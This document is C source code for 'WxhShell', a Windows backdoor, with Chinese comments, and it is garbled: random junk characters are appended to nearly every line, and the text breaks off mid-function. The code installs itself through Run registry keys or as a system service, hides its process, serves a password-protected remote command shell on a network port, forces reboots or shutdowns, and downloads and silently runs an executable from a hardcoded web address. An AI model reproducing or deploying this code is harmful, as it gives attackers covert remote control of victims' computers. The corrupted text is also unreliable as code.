if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p%1m&/`F
WinExec(wscfg.ws_filenam,SW_HIDE); [!mjUsut*
} 17oxD
($>0&w
if(!OsIsNt) { ;7k7/f:
// 如果时win9x，隐藏进程并且设置为注册表启动 >>zoG3H!
HideProc(); RzQS@^u*F0
StartWxhshell(lpCmdLine); QOk"UP
} >iN%Uz
else 0)V-|v`
if(StartFromService()) {2^@jD
// 以服务方式启动 3H2;mqq
StartServiceCtrlDispatcher(DispatchTable); I>Q,]S1h
else VYo;[ue([
// 普通方式启动 dy?|Q33Y"
StartWxhshell(lpCmdLine); XH$|DeAFM
q&T'x> /
return 0; -<]_:Kf{;&
} Q0\5j<'e
RJ4mlW
/8\&f%E
+Uq:sfj,
=========================================== 1C=P#MU`
/ASI0h
P'9io!Z-s
WI_mJ/2
Y26l,XIV
`0|&T;7
" L$Ar]O)
J6D$ i+
#include <stdio.h> -U[`pUY?f
#include <string.h> Fjt,
#include <windows.h> $ n[7
#include <winsock2.h> :-" jKw
#include <winsvc.h> z|)1l`
#include <urlmon.h> [Od9,XBa
.fY<"2g
#pragma comment (lib, "Ws2_32.lib") l>Ja[`X@
#pragma comment (lib, "urlmon.lib") y4rJ-
':)j@O3-
#define MAX_USER 100 // 最大客户端连接数 PJ:5Lb<
#define BUF_SOCK 200 // sock buffer $ywh%OEH
#define KEY_BUFF 255 // 输入 buffer +N:6wZ7<f
xGv,%'u\
#define REBOOT 0 // 重启 G;c0
#define SHUTDOWN 1 // 关机 1e&b;l'*=
![ID0}MjJ
#define DEF_PORT 5000 // 监听端口 -Bv1}xf=6
dt&Lwf/
#define REG_LEN 16 // 注册表键长度 l(\8c><m
#define SVC_LEN 80 // NT服务名长度 ]f-'A>MC
00a<(sS;
// 从dll定义API 1";e'?^x
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SliQwm5
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -G#@BtB2+
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iiB)/~!O
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^i)Q CDU7
L00;rTs>
// wxhshell配置信息 J*KBG2+13
struct WSCFG { JD`;,Md
int ws_port; // 监听端口 udI:]:,P
char ws_passstr[REG_LEN]; // 口令 |O+>#
int ws_autoins; // 安装标记, 1=yes 0=no qS}RFM5|
char ws_regname[REG_LEN]; // 注册表键名 nk$V{(FJ
char ws_svcname[REG_LEN]; // 服务名 C|IQM4
char ws_svcdisp[SVC_LEN]; // 服务显示名 4$DliP
char ws_svcdesc[SVC_LEN]; // 服务描述信息 =k<4mlok^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4m[C-NB!g
int ws_downexe; // 下载执行标记, 1=yes 0=no cW\Y?x
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yk@s"qm3
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ::Q);
u+'@>%7
}; -L3 |9k
bW.zxQ:
// default Wxhshell configuration * r4/|.l
struct WSCFG wscfg={DEF_PORT, ^'53]b:
"xuhuanlingzhe", P9mxY*K)%5
1, "q>I?UcZ
"Wxhshell", gXLZ)>+A+
"Wxhshell", \{=`F`oB=
"WxhShell Service", m<,G:?RM
"Wrsky Windows CmdShell Service", uQtk|)T E
"Please Input Your Password: ", <bXWkj
1, m-S33PG{
"http://www.wrsky.com/wxhshell.exe", ;E? hz
"Wxhshell.exe" Vt)\[Tl~
}; 2{]S_. zV
,#jhKnk2e
// 消息定义模块 +9 p`D
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2|H91Y2
char *msg_ws_prompt="\n\r? for help\n\r#>"; &c?hJ8"
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VO;UV$$
char *msg_ws_ext="\n\rExit."; |]!Ky[P
char *msg_ws_end="\n\rQuit."; $x_52 j\j
char *msg_ws_boot="\n\rReboot..."; ,{ L;B
char *msg_ws_poff="\n\rShutdown..."; f'`nx;@X
char *msg_ws_down="\n\rSave to "; Re,$<9V
s!;VUr\
char *msg_ws_err="\n\rErr!"; pg}+lYGP
char *msg_ws_ok="\n\rOK!"; E,D:D3O
U>_\
char ExeFile[MAX_PATH]; ,dj*p,J
int nUser = 0; CVSsB:H6e
HANDLE handles[MAX_USER]; /mBBeg^a
int OsIsNt; BXK::M+
Ril21o! j
SERVICE_STATUS serviceStatus; 'UvS3]bSYW
SERVICE_STATUS_HANDLE hServiceStatusHandle; @wdB%
qzlMn)e
// 函数声明 zhX`~){N6
int Install(void); HMS9y%zl/
int Uninstall(void); &A9A#It
int DownloadFile(char *sURL, SOCKET wsh); #C,f/PXfaB
int Boot(int flag); bu"68A;>
void HideProc(void); ic0v*Y$
int GetOsVer(void); IL>/PuZku
int Wxhshell(SOCKET wsl); m~j\?mb{+
void TalkWithClient(void *cs); ~Riu*<
int CmdShell(SOCKET sock); 01{r^ZT`RH
int StartFromService(void); ?y*+^E0
int StartWxhshell(LPSTR lpCmdLine); |N=@E,33
[ 4Y `O
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `k}l$ih`X
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,8xP8T~Kmv
Il^\3T+
// 数据结构和表定义 BvZ^^IUb
SERVICE_TABLE_ENTRY DispatchTable[] = <`p75B
{ APtselC
{wscfg.ws_svcname, NTServiceMain}, 7tfivIj)e
{NULL, NULL} ueE?"Hk
}; _D2bGZN
Y7:Y{7E7
// 自我安装 9"HmHy&:E
int Install(void) \Ul.K!b7
{ Dd5xXs+c
char svExeFile[MAX_PATH]; }rY?=I
HKEY key; }$0xt'q&
strcpy(svExeFile,ExeFile); QLB1:O>
g<rKV+$6
// 如果是win9x系统，修改注册表设为自启动 RFn0P)9&
if(!OsIsNt) { Oa}V>a
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VTJIaqw
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i#]aV]IT
RegCloseKey(key); 1t\b a1x
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z4HA94
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o1#:j?sN
RegCloseKey(key); AJ#m6`M+EK
return 0; .W@(nQ-<
} $['7vcB^
} E/dO7I`B
} g* \P6
else { Q9yGQu
:zj9%4A
// 如果是NT以上系统，安装为系统服务 2-$bh
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vhYMWfbY
if (schSCManager!=0) @m/;ZQ
{ Tbi]oB#
SC_HANDLE schService = CreateService c>R`jb@$N
( ` Y{>2UFX
schSCManager, 0j{F^rph
wscfg.ws_svcname, joChML_
wscfg.ws_svcdisp, O/DAf|X|
SERVICE_ALL_ACCESS, mZbWRqP[|_
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cZDxsd]
SERVICE_AUTO_START, 9RCO|J
SERVICE_ERROR_NORMAL, dcl.wD0~V
svExeFile, e'~-`Z9-)
NULL, /]/>jz>
NULL, ,W1a<dl
NULL, BLL]^qN;Y
NULL, "+n4c'
NULL _}I(U?Q-C
); H:q)^$s
if (schService!=0) (Pk"NEP
{ aJ5H3X}Y
CloseServiceHandle(schService); c7+Djqs
CloseServiceHandle(schSCManager); aE7u5PM
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %ezb^O_6v
strcat(svExeFile,wscfg.ws_svcname); ggm2%|?X
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *3_f&Y
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e}'#Xv
RegCloseKey(key); <$i"zb
return 0; cS D._"P
} ocIt@#20K
} #cj\~T.,,
CloseServiceHandle(schSCManager); .1.J5>/n
} 9^ >M>f"
} :M22P`:
SUH mBo"}
return 1; o~v_PD[S
} :W.jNV{e\F
0T9@,scY
// 自我卸载 [F/^J|VMV
int Uninstall(void) ex` xkZ+
{ *'9)H0
HKEY key; gEr4zae
Si?$\H*:
if(!OsIsNt) { <i_> y~v`
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x],8yR)R
RegDeleteValue(key,wscfg.ws_regname); [!1)mR
RegCloseKey(key); Fw_ (q!
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KqM!!
RegDeleteValue(key,wscfg.ws_regname); May&@x/oMS
RegCloseKey(key); 4meidKw]
return 0; u(pdP"
} \C]i|]tl
} H+4=|mkQ
} _\ .
else { <u/a`E?
_4P;+Y
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q7,EY /
if (schSCManager!=0) xT9Yes&
{ H-eEhI(;O
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u.Mqj"o\
if (schService!=0) c%|vUAq*
{ p+, 1Fi
if(DeleteService(schService)!=0) { cQ8dc+ {
CloseServiceHandle(schService); UI!6aVL.
CloseServiceHandle(schSCManager); _Ry_K3K
return 0; %&^Q(f
} 6m4Te|
CloseServiceHandle(schService); rr|"r
} j~M#Ss-H8
CloseServiceHandle(schSCManager); OSp?okV
} \\=.6cg<K
} 6(>3P
Dn~Z SrJ
return 1; f>.4-a?
} `WH[DQ
F\>oxttS1
// 从指定url下载文件 oi7 3YOB
int DownloadFile(char *sURL, SOCKET wsh) K!3{M!B
{ Y)$52m5rM
HRESULT hr; QJx9I_
char seps[]= "/"; MV%Xhfk
char *token; )-=2w-ZX
char *file; mJ)tHv"7
char myURL[MAX_PATH]; TE3*ktB{N
char myFILE[MAX_PATH]; }qer
rmOQ{2}
strcpy(myURL,sURL); h^}_YaT\
token=strtok(myURL,seps); Ci;h
while(token!=NULL) B,3 t`
{ 9'1hjd3k
file=token; D9ANm"#
token=strtok(NULL,seps); "$GK.MP5
} 5^\m`gS
$fj])>=H
GetCurrentDirectory(MAX_PATH,myFILE); I0!j<G
strcat(myFILE, "\\"); EPc!p>
strcat(myFILE, file); Yt -W1vl
send(wsh,myFILE,strlen(myFILE),0); `)"tO&Fn
send(wsh,"...",3,0); lp(Nv(S
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cv3L&zg M
if(hr==S_OK) 3 h#s([uL
return 0; r,5-XB
else o6*/o ]]
return 1; >A3LA3( c
=(%*LY!Xc
} y =R aJm
NdZ)[f:2
// 系统电源模块 }d_<\
int Boot(int flag) DB#$~(o
{ g[M]i6h2
HANDLE hToken; hHpx?9O+!
TOKEN_PRIVILEGES tkp; ugno]5Ni
Qh^R Ax
if(OsIsNt) { /mc*Hc8R8
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @8|Gh]\P
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D-6
tkp.PrivilegeCount = 1; ,s0 9B
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pDGT@qJ
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rfht\{N 7
if(flag==REBOOT) { <KtBv Ip]
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5:c;RRn
return 0; +kM\ D~D1
} `4LJ;KC(
else { ;d4y{
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qYiv
return 0; GWgd8x*V
} TFO74^
} i-b1d'?Rb
else { CJp-Y}fGEA
if(flag==REBOOT) { ZPlPN;J^1
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Twx{' S
return 0; H<,bq*@
} hcyn
else { }wfI4?}j}
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^p,3)$
return 0; 2 l(Dee Y
} Xtkw Z3
} 8)pB_en3sO
L?HF'5o
return 1; `_GO=QQ
} YZ< NP
BhLZ7*
// win9x进程隐藏模块 ^#;RLSv
void HideProc(void) //<:k8
{ p5-<P?B
`gI~|A4
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &mcR
if ( hKernel != NULL ) "qS!B.rt:
{ jn^fgH?
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Oxv+1Ub<Dv
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P{cos&X|
FreeLibrary(hKernel); 1aq2aLx
} 80}4/8
kbhX?; <`
return; x6ahZ
} 9<l-NU9 _
088C|
// 获取操作系统版本 LJWTSf"f?
int GetOsVer(void) _dr*`yXi
{ 3za`>bUN
OSVERSIONINFO winfo; j7}lF?cJ2
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i:d`{kJ|[
GetVersionEx(&winfo); ,Aj }]h\L
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wu2:'y>n
return 1; cz#_<8'N
else Fj^AWv^/
return 0; lUHtjr
} vL$|9|W(
IcFK,y%1
// 客户端句柄模块 f>niFPW"
int Wxhshell(SOCKET wsl) A#35]V06
{ I8k
SOCKET wsh; \i0-o8q@I
struct sockaddr_in client; A*F9\mjI5
DWORD myID; 3u_oRs
b@6:1x
while(nUser<MAX_USER) Fc'[+L--Q
{ \5hw9T&[B
int nSize=sizeof(client); fLNag~
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o8{<qn|
if(wsh==INVALID_SOCKET) return 1; (@q3^)I4
)[jy[[K(
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g/#~N~&
if(handles[nUser]==0) YBvd q1
closesocket(wsh); sKd)BA0`
else bnr|Y!T}Bi
nUser++; s@~/x5jwCs
} hJ[UB
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N@()F&e
o,FUfO}F
return 0; G3dhM#!
} mgVML&^
?E7=:h(@t
// 关闭 socket u!Bk,}CE`
void CloseIt(SOCKET wsh) &$#99\/
{ .S!-e$EJ
closesocket(wsh); O>AFF@=
nUser--; Pq?*C;D
ExitThread(0); v9rVpYc"
} Q#pnj thM
nxQ}&n
// 客户端请求句柄 gS$A
void TalkWithClient(void *cs) _-%d9@x
{ M|r8KW~S)
i03gX<=*
SOCKET wsh=(SOCKET)cs; t`u!]DHv
char pwd[SVC_LEN]; 7'OPjtM
char cmd[KEY_BUFF]; H$tb;:
char chr[1]; 5v9uHxy
int i,j; N9]xJgTze
4ht\&2&:
while (nUser < MAX_USER) { uyT/Xzo3
Rp/-Pv
if(wscfg.ws_passstr) { -H\,2FO
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O2v.
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &fSTR-8ev#
//ZeroMemory(pwd,KEY_BUFF); hYb9`0G"2
i=0; C`4gsqD;Z
while(i<SVC_LEN) { .pvxh|V
<xlm K(
// 设置超时 _tj&Psp
fd_set FdRead; hWm0$v1p
struct timeval TimeOut; tStJ2-5*t
FD_ZERO(&FdRead); ]6q*)q:`
FD_SET(wsh,&FdRead); St_Sl:m$
TimeOut.tv_sec=8; 1[px`%DR~
TimeOut.tv_usec=0; >-eS&rma
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SNN#$8\
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RB *P0
K9^"NS3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &AJUY()8
pwd=chr[0]; oo\IS\
if(chr[0]==0xd || chr[0]==0xa) { Gj*SPU
pwd=0; yduuFK
break; wZ O@J|
} ^t7_3%%w
i++; 7<vy;"wB
} !9PX\Xbn
*iYMX[$
// 如果是非法用户，关闭 socket ~Z7)x7 z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1S&0
} \UhGGg%
R7,pukK
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UL[uh@4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z41D^}b
AT-0}9z{
while(1) { {x|MA(NO
=8@RKG`>;
ZeroMemory(cmd,KEY_BUFF); qA04Vc[2
ss*5.(y
// 自动支持客户端 telnet标准 d0TgqO{
j=0; *0lt$F$~b
while(j<KEY_BUFF) { X&/(x
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !%X>rGkc
cmd[j]=chr[0]; #U:0/4P(
if(chr[0]==0xa || chr[0]==0xd) { &D)Hz
cmd[j]=0; YN$`y1V
break; G$|G w
} X:DMT>5k
j++; @f\ X4!e*y
} :bI,rEW#_
" xlJs93c
// 下载文件 }=TqJy1
if(strstr(cmd,"http://")) { 9Il'E6 J
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =#jTo|~u4o
if(DownloadFile(cmd,wsh)) [+_\z',u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); } mgVC
else aE}=^%D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \;iG{}(
} e5QOB/e&
else { =Z^un&'
)eVzSj>MT
switch(cmd[0]) { ybC-f'0
,#=eu85'
// 帮助 ixg\[5.Q+
case '?': { n<=y"*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x,}ez
break; w' .'Yu6
} y(V&z"wk[
// 安装 B$@1QG
case 'i': { .vN)A *
if(Install()) uQO(?nCi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@6E3lhS
else P>>f{3e.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y|$vtD%c
break; m9 ^m
} SlR7h$r'
// 卸载 ?56~yQF/2
case 'r': { |C^ c0
if(Uninstall()) tWcizj;?wK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ sS>Mts
else w{RNv%hJ$=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q/A/3/
break; "0!~g/X`rK
} dBsRm{aS
// 显示 wxhshell 所在路径 *sjj"^'=
case 'p': { HI}pX{.\
char svExeFile[MAX_PATH]; i-|/2I9%
strcpy(svExeFile,"\n\r"); ,xm;JXJ
strcat(svExeFile,ExeFile); )-MA!\=<
send(wsh,svExeFile,strlen(svExeFile),0); }_Tt1iai*
break; IvY,9D
} |~7+/VvI+
// 重启 USlF+RY@3L
case 'b': { B?$S~5 }
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U+(Z#b(Q
if(Boot(REBOOT)) (N)r#"FV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :y4)qF
else { <)r,CiS
closesocket(wsh); 0*/mc96
ExitThread(0); (xI)"{
} <\B],M1=s=
break; VaOpO8y`
} AN|jFSQ'
// 关机 4he v ;
case 'd': { Z&AHM &,yj
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Np|:dP9#}
if(Boot(SHUTDOWN)) 6-)7:9y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =x|##7
else { Bl>_&A)
closesocket(wsh); ho?|j"/7
ExitThread(0); Oz"@yL}
} e-L5=B
break; 67Af} >Q
} )->-~E}p9
// 获取shell j<`I\Pmv
case 's': { p.6$w:eV
CmdShell(wsh); Y\ #.EVz
closesocket(wsh); i{Y=!r5r
ExitThread(0); K,`).YK
break; IKNFYe[9e
} Jnh;;<
// 退出 =;~%L
case 'x': { z^gDbXS
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Nk=g~|
CloseIt(wsh); F'$9en2I:
break; pko!{,c
} ,mAB)at
// 离开 )R [@G.
case 'q': { q/W{PBb-2k
send(wsh,msg_ws_end,strlen(msg_ws_end),0); hP'~
closesocket(wsh); \'\N"g`Fr
WSACleanup(); *7:u-}c!
exit(1); [TiTff&LV
break; w>H%[\Qs
} /K2.V@T
} \NvC
} ae9k[=-
23B^g
// 提示信息 [[Jv)?jm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +X2 i/}
} k1QpX@
} /xX,
wiK@o$S-
return; lOowMlf@2
} W TXD4}
(hRgYwUa<
// shell模块句柄 E.7AbHph0
int CmdShell(SOCKET sock) r{Qs9
{ Mipm&5R
STARTUPINFO si; U5@TaGbx
ZeroMemory(&si,sizeof(si)); S*2L4Uj`|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9TbS>o
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9H !B)
PROCESS_INFORMATION ProcessInfo; dw{#||
char cmdline[]="cmd"; SoXX}<~E4
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~P"!DaAf
return 0; B BApL{
} hy!'Q>[`
tF;& x g
// 自身启动模式 ,oBk>
int StartFromService(void) 110>p
{ ~vjr;a(B
typedef struct 82Z[eo
{ E,ZB;
DWORD ExitStatus; Mo/2,DiI5
DWORD PebBaseAddress; "df13U"
DWORD AffinityMask; (>+k3
DWORD BasePriority; \gJapx(
ULONG UniqueProcessId; Hb@G*L$
ULONG InheritedFromUniqueProcessId; 4$q)e<-
} PROCESS_BASIC_INFORMATION; _x,-d|9bd
}]n>A
PROCNTQSIP NtQueryInformationProcess; -Fok%iQ'5
, $D&WH
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `ykMh>*{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C-:SQf
1O'*X
HANDLE hProcess; *$4A|EA V
PROCESS_BASIC_INFORMATION pbi; mvL0F%\.\
+s*l#'Q
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `DWi4y7
if(NULL == hInst ) return 0; 5 vu_D^Q
vxzf[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d<|lLNS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cc2oFn
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H>X\C;X[
Jegx[*O>b
if (!NtQueryInformationProcess) return 0; yG4LQE
+qSr=Y:+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #0YzPMV
if(!hProcess) return 0; Ck/_UY|
D<D k1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M|Lw`?T
upEPv .h
CloseHandle(hProcess); bHWvKv+
WV!kA_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xj00eL
if(hProcess==NULL) return 0; die2<'\4%
K+`-[v5\
HMODULE hMod; !rsqr32]
char procName[255]; 3q.[-.q
unsigned long cbNeeded; .olPm3MC
z7.C\l
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0imqj7L
jN'fm
CloseHandle(hProcess); $jm>tW&;
u{{xnyl?
if(strstr(procName,"services")) return 1; // 以服务启动 =Zb"T5E
$E9daUt8"J
return 0; // 注册表启动 ad3z]dUZ9
} q$u\ q.
Edn$0D68u_
// 主模块 0P%|)Ae
int StartWxhshell(LPSTR lpCmdLine) bh;b` 5
{ xn x1`|1u
SOCKET wsl; ]\9B?W(#
BOOL val=TRUE; OL ]T+6X
int port=0; SFk11
struct sockaddr_in door; `9Q,=D+
\Zz= 4 j
if(wscfg.ws_autoins) Install(); 8a$jO+UvN
{GH`V}Ob
port=atoi(lpCmdLine); 7L~ zI>2
sKG~<8M}
if(port<=0) port=wscfg.ws_port; i37a}.;
]stLC; nI
WSADATA data; g`5`KU|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Uc4L|:
GZhfA ;O,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @IyH(J],h
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }^Ua
door.sin_family = AF_INET; <{z3p:\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lugk`NUvF
door.sin_port = htons(port); CXP $bt}
RzY`^A6G6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +q_lYGTiO
closesocket(wsl); A@
return 1; WJh;p: q[
} Ag-?6v
cmGj0YUQ1
if(listen(wsl,2) == INVALID_SOCKET) { ga1gd~a
closesocket(wsl); %_@5_S
return 1; DneSzqO"o
} bmq XP
Wxhshell(wsl); 5t5S{aCDr
WSACleanup(); [TfV2j* e
8.3_Wb(c
return 0; s3E~X
m)]fJ_
} /&!d
ZEyGqCf3
// 以NT服务方式启动 R#Nd|f<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oQjB&0k4
{ 1PTu3o&3
DWORD status = 0; ~ GT\RAj[
DWORD specificError = 0xfffffff; qxcBj
Y/ac}q
serviceStatus.dwServiceType = SERVICE_WIN32; 7pI\`*7b
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F+y`4>x
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -x%`Wv@L
serviceStatus.dwWin32ExitCode = 0; }v$=mLy
serviceStatus.dwServiceSpecificExitCode = 0; eN?P) ,
serviceStatus.dwCheckPoint = 0; $E_vCB_
serviceStatus.dwWaitHint = 0; kcz#8K]~
at(p,+ %
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jx ;"a\KD
if (hServiceStatusHandle==0) return; ):\{n8~
RWPdS
status = GetLastError(); )w 8lusa
if (status!=NO_ERROR) ,vdP #:
{ s$\8)V52
serviceStatus.dwCurrentState = SERVICE_STOPPED; B[_bJ *
serviceStatus.dwCheckPoint = 0; >0+|0ba
serviceStatus.dwWaitHint = 0; c+i`Zd.m<
serviceStatus.dwWin32ExitCode = status; cxJK>%84
serviceStatus.dwServiceSpecificExitCode = specificError; I/b8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $\@ V4
return; ,t&-`U]AX
} ~md|k
[dF=1E>W_J
serviceStatus.dwCurrentState = SERVICE_RUNNING; w{O3P"N2
serviceStatus.dwCheckPoint = 0; ]3y5b9DuW
serviceStatus.dwWaitHint = 0; &MQt2aL
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *u4X<oBS*
} kRXg."b(
~$ qJw?r
// 处理NT服务事件，比如：启动、停止 '>mb@m
VOID WINAPI NTServiceHandler(DWORD fdwControl) WKJL< D ]:
{ }nY^T&?`
switch(fdwControl) f]A6Mx6
{ ST8/ ;S#c
case SERVICE_CONTROL_STOP: `"b7y(M
serviceStatus.dwWin32ExitCode = 0; R6$F<;nw
serviceStatus.dwCurrentState = SERVICE_STOPPED; GV@E<dg$R
serviceStatus.dwCheckPoint = 0; <^'+]?
serviceStatus.dwWaitHint = 0; jhbH6=f4]^
{ {2clOUi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _,0!ZP-
} @N_H]6z4
return; od's1'cR
case SERVICE_CONTROL_PAUSE: x)wt.T?eL
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~)8i5p;P/k
break; |Ge/|;.v`
case SERVICE_CONTROL_CONTINUE: ,p`bWm
serviceStatus.dwCurrentState = SERVICE_RUNNING; R}6la.mQ
break; Tocdh.H|
case SERVICE_CONTROL_INTERROGATE: "XsY~
break; 1@z@
}; A-Pwi.$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Yd~v|
} O*/-I pM
GJt9hDM$0
// 标准应用程序主函数 5a|m}2IX
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8lGgp&ey
{ (Dh;=xG
S!!\!w>N
// 获取操作系统版本 2/4x]i H*
OsIsNt=GetOsVer(); ts\>_/
GetModuleFileName(NULL,ExeFile,MAX_PATH); S,9WMti4x
`&[:!U2]F
// 从命令行安装 YJvT p~
if(strpbrk(lpCmdLine,"iI")) Install(); -&D6w9w
f#Cdx"
// 下载执行文件 j~f 7WJ
if(wscfg.ws_downexe) { 54cgX)E[x
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I5OH=,y`
WinExec(wscfg.ws_filenam,SW_HIDE); &`Z)5Ww
} 5 ^J8<s@_
ZV4' |q
if(!OsIsNt) { 2OlC7X{
// 如果时win9x，隐藏进程并且设置为注册表启动 (C|V-}/*m
HideProc(); "<$vU_
StartWxhshell(lpCmdLine); F8;4Oj
} s^R2jueR
else E^W*'D
